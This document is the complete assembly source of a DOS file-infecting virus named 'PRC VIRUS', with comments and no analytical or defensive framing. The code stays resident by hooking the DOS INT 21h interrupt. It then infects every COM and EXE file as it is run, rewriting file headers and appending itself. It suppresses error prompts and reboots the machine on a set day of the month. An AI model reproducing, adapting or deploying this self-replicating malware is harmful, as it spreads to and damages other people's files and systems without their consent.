;****************************************** ;* A DOS COMPUTER VIRUS * ;* NAME: PRC VIRUS * ;* INFEST COM OR EXE FILE IN DOS SYSTEM * ;* COMPLETED ON May 2,2000 * ;****************************************** ;******************************************* ;* Save Registers * ;******************************************* pushall macro push ax push bx push cx push dx push si push di push bp push ds push es endm ;******************************************* ;* Restore Registers * ;******************************************* popall macro pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax endm ;******************************************* ;* My Program Start * ;******************************************* Code Segment Assume CS:Code,DS:Code Org 100h Start: push ds push es call BaseAddr ; SI saves the base address BaseAddr: pop si mov ah,2ah int 21h cmp dl,03h jnz DoNoDamage ;******************************************* ;* You Can Write Damage Code Here * ;******************************************* mov ah,09h push cs pop ds lea dx,[Msg-BaseAddr][si] int 21h mov ah,08h int 21h int 19h ;********************************************* ;* If It is Not The Right Day,Do No damage * ;********************************************* DoNoDamage: cmp byte ptr cs:[ComOrExe-BaseAddr][si],EXEFILE jz NotRestoreFileHeader ;******************************************* ;* Restore ComFile Header * ;******************************************* mov cx,word ptr cs:[SaveThreeBytes-BaseAddr][si] mov ds:[100h],cx mov cl,cs:[SaveThreeBytes+2-BaseAddr][si] mov ds:[102h],cl NotRestoreFileHeader: mov ax,cs add word ptr cs:[ExecuteOrgFile-BaseAddr+3][si],ax ; Set Original ExeFile Entrance Address xor ax,ax mov ds,ax mov bx,ds:[21h*4] push ds:[21h*4+2] pop ds cmp byte ptr [bx],90h ; Check if the virus code is in memory or not jz StopLoading ;********************************************** ;* Modify MCB To Make Room For The Program * ;********************************************** mov dx,es dec dx mov ds,dx mov ax,ds:[3] mov bx,(MyVirusSize+15)/16 cmp ax,bx jb StopLoading sub ax,bx mov ds:[3],ax add dx,ax inc dx ;******************************************* ;* Copy The Virus Code Into Memory * ;******************************************* push cs pop ds mov es,dx mov bx,si ; Save Base Address mov cx,MyVirusSize sub si,BaseAddr-Start xor di,di cld rep movsb ;******************************************* ;* Modify Interrupt Vector Table * ;******************************************* xor ax,ax mov ds,ax push ds:[21h*4] pop word ptr es:[OldInt21h-100h] push ds:[21h*4+2] pop word ptr es:[OldInt21h+2-100h] mov ax,2521h sub dx,10h mov ds,dx mov dx,offset ResidentPart int 21h ;----------------------------------------- StopLoading: pop es pop ds ExecuteOrgFile: ; Execute The Parasided Exe Or Com File ret dd 0 ;********************************************************* ;* The Following Program Is Resident In Memory * ;********************************************************* ResidentPart: nop ; NOP Is The Signal Of Residence Of Virus Code cmp ah,4bh jz Infect jmp cs:OldInt21h Infect: pushall ;**************************************************** ;* Judge The File Is A ComFile Or ExeFile * ;**************************************************** mov al,'.' mov di,dx mov cx,0ffffh rep scasb or byte ptr [di],20h mov cs:ComOrExe,0 cmp byte ptr [di],'c' jz Lab1 inc cs:ComOrExe Lab1: ;********************************************************* ;* Restore 21H Interrupt Vector To Use INT 21H Sevice * ;********************************************************* push ds xor ax,ax mov ds,ax push word ptr cs:[OldInt21h] pop ds:[21h*4] push word ptr cs:[OldInt21h+2] pop ds:[21h*4+2] ;******************************************* ;* Hook 24H To Mask Error Process * ;******************************************* push ds:[24h*4] pop word ptr cs:[OldInt24h] push ds:[24h*4+2] pop word ptr cs:[OldInt24h+2] mov ds:[24h*4],offset NewInt24h mov ax,cs mov ds:[24h*4+2],ax pop ds ;******************************************* ;* Modify File Attribute * ;******************************************* mov ax,4300h int 21h jnc Lab2 jmp EndInfection3 Lab2: push cx ; Remember To Pop It or cl,cl jz Lab3 xor cx,cx mov ax,4301h int 21h jnc Lab3 jmp EndInfection2 ;******************************************* ;* Open The File * ;******************************************* Lab3: mov ax,3d42h int 21h jnc Lab4 jmp EndInfection2 ;******************************************* ;* Load File Header * ;******************************************* Lab4: mov bx,ax push ds ; Remember To Pop It push dx ; Remember To Pop It mov bp,sp sub bp,60h mov dx,bp push ss pop ds mov cx,1ch mov ah,3fh int 21h ;******************************************* ;* Get The File Size * ;******************************************* mov ax,4202h mov cx,0ffffh mov dx,-4 int 21h add ax,4 adc dx,0 push ax push dx ;******************************************* ;* Read Four Last Bytes Of The File * ;******************************************* mov ah,3fh mov cx,4 lea dx,[bp+1ch] int 21h pop dx pop ax ;******************************************* ;* Check If The File Is Infected Or Not * ;******************************************* push cs pop es lea si,[bp+1ch] mov di,offset CheckString mov cx,CheckStringLenght cld rep cmpsb jnz Lab5 jmp EndInfection1 ;******************************************* ;* Save The First Three Bytes Of The File * ;******************************************* Lab5: mov cx,[bp] mov word ptr cs:SaveThreeBytes,cx mov cl,[bp+02h] mov cs:SaveThreeBytes+2,cl cmp cs:ComOrExe,EXEFILE jz InfectExeFile ;******************************************* ;* Deal With ComFile * ;******************************************* ;PUSH_AX_DX: push ax push dx mov byte ptr [bp],0e9h sub ax,3 mov [bp+1],ax mov dx,100h xor ax,ax jmp WriteCode ;******************************************* ;* Deal With ExeFile * ;******************************************* InfectExeFile: mov si,ax ; Compute How Many Bytes Needed To Align Para and si,0fh mov cx,16 sub cx,si and cx,0fh mov si,cx add ax,cx adc dx,0 ;PUSH_AX_DX push ax push dx mov cx,16 div cx sub ax,[bp+08h] sub ax,16 ; Compute New Code Segment xchg [bp+16h],ax ; ExChange New Code Segment And Old Code Segment mov dx,[bp+14h] ; Save Old Entry IP mov word ptr [bp+14h],100h ; New IP=100h sub ax,[bp+16h] ; Compute Difference Between Old Segment And New Segment ;******************************************* ;* Append The ExeFile To Align Para * ;******************************************* push ax mov cx,si jcxz WriteCode mov ah,40h int 21h pop ax ;******************************************* ;* Write The Code Into The File * ;******************************************* WriteCode: push cs pop ds mov byte ptr ExecuteOrgFile,0eah ; Build The Instruction Of "JMP xxxx:xxxx" mov word ptr ExecuteOrgFile+1,dx ; In Order To Execute The Oringal File mov word ptr ExecuteOrgFile+3,ax mov dx,100h mov cx,MyVirusSize mov ah,40h int 21h ;******************************************* ;* Modify The ExeFile Header * ;******************************************* mov ax,4200h xor cx,cx xor dx,dx int 21h ;------------------------------------------- POP_DX_AX: pop dx ; Pop To Balance The Stack pop ax ;------------------------------------------- cmp cs:ComOrExe,COMFILE jz Lab6 add ax,MyVirusSize ; Compute How Many Sectors The File Occupied adc dx,0 mov cx,512 div cx inc ax mov [bp+04h],ax mov [bp+02h],dx Lab6: push ss pop ds mov ah,40h mov dx,bp mov cx,1ch int 21h ;******************************************* ;* Infection Done * ;******************************************* EndInfection1: pop dx pop ds EndInfection2: pop cx ;******************************************* ;* Close The File * ;******************************************* mov ah,3eh int 21h ;******************************************* ;* Restore The File Attribute * ;******************************************* EndInfection3: mov ax,4301h int 21h ;************************************************** ;* Let INT 21H Sevice Points Back To Virus Code * ;************************************************** xor ax,ax mov ds,ax mov ds:[21h*4],offset ResidentPart push cs pop ds:[21h*4+2] ;************************************************** ;* Restore INT 24H * ;************************************************** push word ptr cs:[OldInt24h] pop ds:[24h*4] push word ptr cs:[OldInt24h+2] pop ds:[24h*4+2] popall jmp dword ptr cs:OldInt21h NewInt24h: iret ;******************************************* ;* Data Area * ;******************************************* OldInt21h dd ? OldInt24h dd ? ComOrExe db ? Msg db 'THIS IS A DOS COMPUTER VIRUS!',0dh,0ah,'$' SaveThreeBytes db 1eh,06h,0e8h CheckString db 'PRC V1.0 FOR DOS' ;******************************************* ;* System Constant * ;******************************************* CheckStringLenght = $ - CheckString MyVirusSize = $ - Start COMFILE = 0 EXEFILE = 1 ;----------------------------------------- Code Ends End Start

|